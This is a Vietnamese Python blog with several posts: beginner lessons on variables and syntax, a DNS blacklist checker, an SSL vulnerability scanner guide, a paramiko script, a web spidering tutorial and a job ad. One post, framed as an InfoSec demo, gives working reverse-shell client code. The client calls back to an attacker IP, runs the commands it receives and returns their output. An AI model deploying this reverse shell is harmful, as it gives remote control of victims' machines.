Bài 3: Biến và kiểu dữ liệu

 Python Basic  Chức năng bình luận bị tắt ở Bài 3: Biến và kiểu dữ liệu
Th2 112019
 

Từ khóa

Sau đây là danh sách các từ khóa của ngôn ngữ, chúng ta không thể sử dụng chúng như một định danh thông thường. Chúng ta phải dùng chính xác các từ sau đây:

and       del      from      not   while
as elif global or with
assert else if pass yield
break except import print
class exec in raise
continue finally is return
def for lambda try

Trong Python chúng ta không chỉ định một kiểu dữ liệu trong một biến. Tuy nhiên chúng ta có thể viết abc = 1 và abc sẽ trở thành dữ liệu kiểu nguyên. Nếu viết abc = 1.0 thì abc sẽ là kiểu số thực. Sau đây là ví dụ cơ bản về việc gán giá trị cho biến:

>>> a = 13
>>> b = 23
>>> a + b
>>> 36

Trong ví dụ trên bạn đã hiểu cách khai báo biến trong Python, bạn chỉ cần gõ tên và giá trị của biến. Python có thể thao tác trên chuỗi. Chúng được đặt trong dấu ngoặc đơn hoặc ngoặc kép như:

>>> 'India'
'India'
>>> 'India\'s best'
"India's best"
>>> "Hello World!"
'Hello World!'

Nhận dữ liệu từ bàn phím:

Trong Python bạn không cần bước đọc dữ liệu từ bàn phím. Bạn có thể sử dụng hàm raw_input để thực hiện nhập dữ liệu: Ví dụ như:

raw_input("Xin chao Python Viet Nam")

và sẽ trả về chuỗi đầu vào. Chúng ta sẽ thử viết một chương trình đơn giản cho phép đọc số được nhập từ bàn phím sau đó kiểm tra nó lớn hơn 100 hoặc không. Tên chương trình này có tên là testhundred.py:

#!/usr/bin/env python
number = int(raw_input("Enter an integer: "))
if number < 100:
print "Your number is smaller than 100"
else:
print "Your number is greater than 100"

Kết quả sẽ như sau:

$ ./testhundred.p
yEnter an integer: 13
Your number is smaller than 100$
./testhundred.py
Enter an integer: 123
Your number is greater than 100

Trong chương trình tiếp chúng ta sẽ lấy ví dụ về việc tính toán các khoản đầu tư:

#!/usr/bin/env python
amount = float(raw_input("Enter amount: "))
inrate = float(raw_input("Enter Interest rate: "))
period = int(raw_input("Enter period: "))
value = 0
year = 1
while year <= period:
value = amount + (inrate * amount)
print "Year %d Rs. %.2f" % (year, value)
amount = value
year = year + 1

Kết quả như sau:

$ ./investment.py
Enter amount: 10000
Enter Interest rate: 0.14
Enter period: 5
Year 1 Rs. 11400.00
Year 2 Rs. 12996.00
Year 3 Rs. 14815.44
Year 4 Rs. 16889.60
Year 5 Rs. 19254.15

Một vài ví dụ:

Một vài ví dụ về biến và kiểu dữ liệu:

Trung bình của số N

Trong chương trình này chúng ta sẽ tính toán trung bình của số N

#!/usr/bin/env python
N = 10
sum = 0
count = 0
while count < N:
number = float(raw_input(""))
sum = sum + number
count = count + 1
average = float(sum)/N
print "N = %d , Sum = %f" % (N, sum)
print "Average = %f" % average

Kết quả như sau

$ ./averagen.py
1
2.3
4.67
1.42
7
3.67
4.08
2.2
4.25
8.21
N = 10 , Sum = 38.800000
Average = 3.880000

Chuyển đổi nhiệt độ: Chương trình phục vụ việc chuyển đổi từ độ F sang độ C sử dụng công thức: C=(F-32)/1.8

#!/usr/bin/env python
fahrenheit = 0.0
print "Fahrenheit Celsius"
while fahrenheit <= 250:
celsius = ( fahrenheit - 32.0 ) / 1.8 # Here we calculate the Celsius value
print "%5.1f %7.2f" % (fahrenheit , celsius)
fahrenheit = fahrenheit + 25

Kết quả như sau:

 
Fahrenheit Celsius
0.0 -17.78
25.0 -3.89
50.0 10.00
75.0 23.89
100.0 37.78
125.0 51.67
150.0 65.56
175.0 79.44
200.0 93.33
225.0 107.22
250.0 121.11

Gán nhiều giá trị cho biến trên một dòng:

Bạn có thể khai báo nhiều giá trị cho nhiều biến trên một dòng, ví dụ như sau:

>>> a , b = 45, 54
>>> a
45
>>> b
54

Bạn cũng có thể chuyển đổi giữa hai giá trị rất dễ dàng:

>>> a, b = b , a
>>> a
54
>>> b
45

Để hiểu hơn cách làm việc, chúng ta sẽ tìm hiểu về kiểu dữ liệu tuple. Chúng ta sẽ sử dụng dấu phẩy cho việc tạo tuple. Ở bên phải chúng ta sẽ tạo một tuple ( chúng ta gọi chúng là gói tuple) và phía bên trái chúng ta gọi là tuple giải nén cho một tuple mới.

Dưới đây là một ví dụ:

>>> data = ("KhanhNN", "Viet Nam", "Python")
>>> name, country, language = data
>>> name
'KhanhNN'
>>> country
'Viet Nam'
>>> language
'Python'

Chúc các bạn thành công!

Bài 2: Khái niệm cơ bản

 Python Basic  Chức năng bình luận bị tắt ở Bài 2: Khái niệm cơ bản
Th2 112019
 

Python là ngôn ngữ lập trình thông dịch, điều đó có nghĩa là bạn có thể viết code ngay trên trình thông dịch hoặc viết vào file sau đó chạy chúng. Đầu tiên chúng ta sẽ sử dụng trình thông dịch để bắt đầu viết một chương trình đầu tiên (bạn có thể sử dụng shell trên Windows hoặc Terminal trên Linux). Bạn chỉ cần gõ python vào cửa sổ dòng lệnh

Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:22:17) [MSC v.1500 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>>

Để có thể in ra dòng chữ “Xin chào Python Viet Nam” bạn có thể làm như sau:

>>> print "Xin chào Python Viet Nam!"

Bây giờ ta sẽ làm cách mà lập trình viên hay làm, bạn sẽ tạo một file helloworld.py, bạn có thể sử dụng bất cứ một trình soạn thảo mà bạn biết để tạo ra file này. Chú ý đuôi mở rộng là .py

#!/usr/bin/env python
print "Xin chào Python Viet Nam !"

Để thực hiện chạy, bạn cần trao quyền cho file đó được thực thi. Bạn dùng lệnh sau:

$ chmod +x helloworld.py

Sau đó chạy

$ ./helloworld.py
Xin chào Python Viet Nam !

Trong dòng đầu tiên có dấu #!, chúng ta gọi nó là sha-bang. Sử dụng để thông báo cho trình thông dịch Python chạy đoạn code. Dòng tiếp theo trong đoạn code trên chúng ta in ra thông báo. Trong Python chúng ta gọi các dòng văn bản là chuỗi.

Khoảng trắng và thụt đầu dòng

Trong Python khoảng trắng rất quan trọng. Chúng ta phân biệt cách sử dụng dấu khoảng trắng. Khoảng trắng trong dòng đầu tiên được xem như dấu thụt đầu dòng. Nhưng nếu sử dụng sai thì sẽ báo lỗi.

Ví dụ như sau:

>>> a = 12
>>> a = 12
File "<stdin>", line 1
a = 12
IndentationError: unexpected indent
^

Chú ý: Có một dấu cách đầu tiên gây ra lỗi trong đoạn code trên, do đó chúng ta cần đặt dấu thụt đầu dòng thích hợp.

Chúng ta có một số chú ý cho việc sử dụng dấu khoảng trắng và định danh như sau

Sử dụng 4 dấu cách cho thụt đầu dòng.
Không sử dụng tab và dấu cách lẫn nhau.
Cách 1 dòng trắng giữa các hàm.
Cách 2 dòng giữa các class.

Comments là một đoạn văn bản được viết trong code, chúng được sử dụng để giải thích hoặc chú thích cho người khác hiểu về đoạn code đó. Một đoạn comment bắt đầu bằng dấu #, mọi thứ sau dấu comment không được thực thi trong chương trình.

Ví dụ

>>> # This is a comment
>>> # The next line will add two numbers
>>> a = 12 + 34
>>> print c #this is a comment too 🙂

Comments giúp cho lập trình viên dễ dàng cải tiến mã nguồn, ghi chú các chức năng của đoạn code thực hiện, nó có thể là người viết, ngày viết.

# FIXME -- fix these code later
# TODO -- in future you have to do this

Modules trong Python là các tập tin chưa các hàm được định nghĩa sẵn, biến cái mà chúng ta có thể sử dụng lại, nó cũng có đuôi mở rộng là .py. Python đã cung cấp sẵn một số module mặc định. Chúng ta có thể sử dụng chúng. Để sử dụng chúng ta cần dùng lệnh import. Ví dụ như sau:

>>> import math>>> print math.e2.71828182846

Chúng ta sẽ tìm hiểu chi tiết về các Module trong các phần sau. Chúc các bạn thành công!

Check IP spam list

 Python System  Chức năng bình luận bị tắt ở Check IP spam list
Th2 112019
 

Hi bà con,
Hôm nay Hà Nội lạnh, vừa đến cơ quan tránh lạnh thì nghe tin Email liệt vào Spam list. Ngồi check bằng tay lâu quá nên tìm một đoạn tự động check. Share bà con coi thử nhé.

#check email spam 25-01-2016
import dns.resolver
import sys
#danh sach cac ong
bls = ["zen.spamhaus.org", "spam.abuse.ch", "cbl.abuseat.org", "virbl.dnsbl.bit.nl", "dnsbl.inps.de",
    "ix.dnsbl.manitu.net", "dnsbl.sorbs.net", "bl.spamcannibal.org", "bl.spamcop.net",
    "xbl.spamhaus.org", "pbl.spamhaus.org", "dnsbl-1.uceprotect.net", "dnsbl-2.uceprotect.net",
    "dnsbl-3.uceprotect.net", "db.wpbl.info"]
 
if len(sys.argv) != 2:
    print 'Usage: %s <ip>' %(sys.argv[0])
    quit()
 
myIP = sys.argv[1]
 
for bl in bls:
    try:
        my_resolver = dns.resolver.Resolver()
        query = '.'.join(reversed(str(myIP).split("."))) + "." + bl
        answers = my_resolver.query(query, "A")
        answer_txt = my_resolver.query(query, "TXT")
        print 'IP: %s IS listed in %s (%s: %s)' %(myIP, bl, answers[0], answer_txt[0])
    except dns.resolver.NXDOMAIN:
        print 'IP: %s is NOT listed in %s' %(myIP, bl)
alt text

Demo phát

Chúc bạn thành công!

Python for InfoSec Use case: Auto Scanning to SSL Vulnerability

 Python Security  Chức năng bình luận bị tắt ở Python for InfoSec Use case: Auto Scanning to SSL Vulnerability
Th2 112019
 

Giới thiệu công cụ:
Công cụ có tác dụng kiểm tra các lỗi về SSL của hệ thống của bạn như: HeartBleed, CCS Injection, SSLv3 POODLE, FREAK…
Công cụ hỗ trợ các lỗi:
[CVE-2014-0160] CCS Injection
[CVE-2014-0224] HeartBleed
[CVE-2014-3566] SSLv3 POODLE
[CVE-2015-0204] FREAK Attack
[CVE-2015-4000] LOGJAM Attack

Cài đặt

A. Tải về từ git
git clone https://github.com/pythonvietnam/a2sv
cd a2sv
B. Cài đặt Python + OpenSSL

pip install argparse 
pip install netaddr 

apt-get install openssl

C. Chạy công cụ A2SV

python a2sv.py -h

Ví dụ bạn thực hiện kiểm tra bằng lỗi bằng câu lệnh

python a2sv.py -t 127.0.0.1 
python a2sv.py -t 127.0.0.1 -m heartbleed 
python a2sv.py -t 127.0.0.1 -p 8111

Cập nhật bằng lệnh

python a2sv.py -u 
python a2sv.py --update

Chúc các bạn thành công!

Python for InfoSec: Demo TCP Reverse Shell

 Python Security  Chức năng bình luận bị tắt ở Python for InfoSec: Demo TCP Reverse Shell
Th2 112019
 

Ví dụ này demo lại quá trình tấn công vào máy nạn nhân và thực hiện các câu lệnh như: ipconfig, dir … nhằm mục đích đánh cắp và thay đổi thông tin.

Client

# Python For Security Pycon.vn
# Email: khanhnn@pythonvietnam.info
# Basic TCP Client
import socket                     # For Building TCP Connection
import subprocess                 # To start the shell in the system
def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        # start a socket object 's' 
    s.connect(('172.16.12.95', 8081))                            # Here we define the Attacker IP and the listening port
 
    while True:                                                 # keep receiving commands from the Kali machine
        command =  s.recv(1024)                                 # read the first KB of the tcp socket
        
        if 'terminate' in command:                  # if we got termiante order from the attacker, close the socket and break the loop
            s.close()
            break 
        
        else:                                      # otherwise, we pass the received command to a shell process
            
            CMD =  subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            s.send( CMD.stdout.read()  ) # send back the result
            s.send( CMD.stderr.read()  ) # send back the error -if any-, such as syntax error

def main ():
    connect()
main()

Server

# Python For Security Pycon.vn
# Email: khanhnn@pythonvietnam.info
# Simple TCP Server 
import socket    # For Building TCP Connection

def connect():
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    # start a socket object 's'
    
    s.bind(("172.16.12.95", 8081))                           # define the kali IP and the listening port
    
    s.listen(1)                                             # define the backlog size, since we are expecting a single connection from a single
                                                            # target we will listen to one connection
    
    print '[+] Listening for incoming TCP connection on port 8080'
    
    conn, addr = s.accept()     # accept() function will retuen the connection object ID (conn) and will return the client(target) IP address and source
                                # port in a tuple format (IP,port)
    

Chúc các bạn thành công !

Python Việt Nam tuyển dụng

 Tuyển dụng  Chức năng bình luận bị tắt ở Python Việt Nam tuyển dụng
Th2 102019
 

Do nhu cầu về nhân lực lập trình viên Python, một số doanh nghiệp có nhu cầu tuyển dụng lập trình viên/ thực tập lập trình viên, Python Việt Nam xin làm cầu nối doanh nghiệp với các bạn. Yêu cầu cụ chung như sau:

A. Với vị trí thực tập:
-Sinh viên công nghệ, yêu thích Python.
-Định hướng nghề nghiệp: làm việc với ngôn ngữ Python.

B. Với vị trị lập trình viên:
Có kinh nghiệp với ngôn ngữ Python
Có tư duy thuật toán
Có nhu cầu chuyển việc hoặc tìm việc làm thêm.

Bạn vui lòng hoàn thành biểu mẫu dưới đây.
https://goo.gl/forms/5rBQ1wpSu1Co6ORH2
Skype: khanhnnvn
Mobile: 09186 12485
Lưu ý:
CV ghi rõ các khả năng, kinh nghiệm cũng như yêu cầu của bạn.
p/s: BQT sẽ email chi tiết cho các bạn về doanh nghiệp bạn sẽ được giới thiệu.

Sử dụng paramiko để check máy chủ

 Python System  Chức năng bình luận bị tắt ở Sử dụng paramiko để check máy chủ
Th2 102019
 

Chào các bạn,

Để check thông tin một máy chủ, các bạn thường ssh đến và check các thông số theo ý muốn, việc này đơn giản nhưng số lượng máy chủ càng lớn, công việc càng nhàm. Để giải quyết việc này các bạn hoàn toàn có thể sử dụng chương trình tự động. Ví dụ dưới đây để làm việc đó.

import paramiko
import time
 
 
def disable_paging(remote_conn):
    '''KhanhNN'''
 
    remote_conn.send("terminal length 0\n")
    time.sleep(1)
    output = remote_conn.recv(1000)
    return output
if __name__ == '__main__':
    ip = '192.168.0.36'
    username = 'khanhnnvn'
    password = '1111111'
    remote_conn_pre = paramiko.SSHClient()
    remote_conn_pre.set_missing_host_key_policy(
        paramiko.AutoAddPolicy())
    remote_conn_pre.connect(ip, username=username, password=password, look_for_keys=False, allow_agent=False)
    print "SSH connection established to %s" % ip
    remote_conn = remote_conn_pre.invoke_shell()
    print "Interactive SSH session established"
    output = remote_conn.recv(1000)
    print output
    disable_paging(remote_conn)
    remote_conn.send("\n")
    remote_conn.send("df -h\n")
    remote_conn.send("service --status-all | grep running\n")
    time.sleep(2)
    output = remote_conn.recv(5000)
    print output

Sau khi chạy ta có thông tin như sau:

alt text

Chúc các bạn thành công.

Python – tìm kiếm goolge tự động

 Python System  Chức năng bình luận bị tắt ở Python – tìm kiếm goolge tự động
Th2 102019
 

Hi các bạn,
Hôm nay ngồi rảnh mình viết 1 chương trình tự động truy cập vào google và search với từ khoá cho trước.
Yêu cầu:

  • Python 3.6
  • Selenium

Code mẫu của mình như sau:

import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
 
 
def init_driver():
    driver = webdriver.Firefox()
    driver.wait = WebDriverWait(driver, 5)
    return driver
 
 
def lookup(driver, query):
    driver.get("http://www.google.com")
    try:
        box = driver.wait.until(EC.presence_of_element_located(
            (By.NAME, "q")))
        button = driver.wait.until(EC.element_to_be_clickable(
            (By.NAME, "btnK")))
        box.send_keys(query)
        button.click()
    except TimeoutException:
        print("Box or Button not found in google.com")
 
 
if __name__ == "__main__":
    driver = init_driver()
    lookup(driver, "Python Viet Nam")
    time.sleep(5)
    driver.quit()

Chúc các bạn thành công.

Python for InfoSec Part 5: Spidering

 Python Security  Chức năng bình luận bị tắt ở Python for InfoSec Part 5: Spidering
Th2 102019
 

Spidering:

Loạt bài hướng dẫn này sẽ giới thiệu về một vài modules mới (optparse,spider) để thực hiện một vài nhiệm vụ của spidering trên ứng dụng web. Spidering là một tiến trình dựa vào link ở phần nội dung của ứng dụng web để xây dựng các site map. spidering tận dụng tốt python nhằm tạo ra các script một cách nhanh chóng
Bạn có thể tạo ra các script crawler bằng việc phân tích các thẻ href trong phản hồi, sau đó tạo yêu cầu bổ xung.

Bạn cũng có thể tận dụng các module Python được gọi là “Spider” để thực hiện điều đó trọng một vài dòng code như sau:

Spider

Có một vài các lựa chọn mà bạn có thể cấu hình nó để biết spider nó hoạt động như thế nào “myspider(b=URL.strip(), w=200, d=5, t=5)”. Hàm này sẽ trả về hai danh sách của URLs con và đường dẫn. Bạn có thể thay đổi cách hoạt động của spider bằng cách thay đổi các tham số truyền cho hàm myspider:
b- đường dẫn của web ( mặc định là None)
w- lượng tài nguyên để thu thập ( mặc định là 200)
d- độ sâu để quét ( mặc định là 5)
t- số luồng ( mặc định là None)

Bài viết này chỉ là một cái nhìn sơ qua về cách sử dụng Python tương tác với các thành phần của web. Có một vài trường hợp nâng cao hơn cho sự tương tác tài nguyên web. Trong thời gian tới Blog sẽ tập trung vào một số trường hợp cao cấp hơn bởi các cuộc tấn công vào máy chủ web.
Đoạn mã tận dụng các module Python spider:

#!/usr/bin/python
from spider import webspider as myspider
import sys, optparse
 
def crawler(URLs):
        for line in open(URLs, 'r'):
                URL = line.strip()
                links = myspider(b=URL.strip(), w=200, d=5, t=5)
                link_count = len(links[0])
                out = URL+": has a link count of "+str(link_count)
                print "[+] Web Crawl Results for: "+URL
                print out
                for item in links[1]:
                        print item
 
def main():
# This optparse module allows you to build command line switches in your scripts
# This will set the usage to '-r' and have it stored to a variable URLs
# Then we will open the file given at the command line with -r and attempt to spider
        parser = optparse.OptionParser(sys.argv[0]+' '+
        '-r <file_with URLs>')
        parser.add_option('-r', dest='URLs', type='string', 
                help='specify target file with URLs')
        (options, args) = parser.parse_args()
        URLs=options.URLs
 
        if (URLs == None):
                print parser.usage
                sys.exit(0)
        else:
                crawler(URLs)
 
if __name__ == "__main__":
      main()

Python for InfoSec Part 4: Web Requests

 Python Security  Chức năng bình luận bị tắt ở Python for InfoSec Part 4: Web Requests
Th2 102019
 

Tutorial này sẽ chỉ cách tạo web request sử dụng Python. Có một vài module Python giúp dễ dàng tạo web requests/responses (httplib, Mechanize, Beautiful Soup, và urllib/urllib2). Hãy cài những module này và thử những tính năng của nó.

TẠO MỘT WEB REQUEST:

Dưới đây là ảnh chụp màn hình minh họa cho cú pháp để tạo một web request đối với web server local chạy với Python’s SimpleHTTPServer:

PHÂN TÍCH HTML:

Hình dưới đây minh họa việc dùng module BeautifulSoup để phân tích HTML dựa vào các thẻ HTML.

Sức mạnh của BeautifulSoup đến từ khả năng phân tích HTML dựa vào các thẻ. Bạn có thể dùng hàm “find_all”, ví dụ: “iframes = parsed.find_all(‘iframe’)”.

ỨNG DỤNG:

Hãy tìm một web resource giúp bạn tạo nhiều truy vấn. Các Python script sẽ giúp bạn tự động hóa công việc này. Một web resource mà bản thân tôi thường sử dụng là iplist.net, nó có thể cho tôi biết nhiều tên miền khác nhau cùng trỏ đến một địa chỉ IP nào đó.

Trước khi bắt đầu, hãy xem xét 2 điều:

  • Cấu trúc của URL mà bạn muốn request.
  • Kiểu response bạn muốn là gì

Cấu trúc của iplist.net đơn giản là ‘http://iplist.net/ip/‘ – nên bạn có thể dễ dàng đọc các IP trong một file và lặp qua chúng. Tiếp đến là tạo một request và sau đó xem xét source code để tìm thấy phần bạn muốn. Trong ví dụ này chúng ta có thể xem và thấy rằng thẻ header “domain_name” – nên chúng ta có thể sử dụng BeautifulSoup chỉ để giải mã phần này. Dưới đây là ví dụ minh họa

Firebug là một công cụ hữu dụng khi phân tích source code của một ứng dụng web.

Đây là quy trình bạn sẽ trải qua khi phân tích các response trả về. Sau đó bạn có thể tìm và in ra những thông tin mà bạn cần.

Đây là link cho nhiều script (Primal Security) phức tạp hơn khi làm việc với iplist.net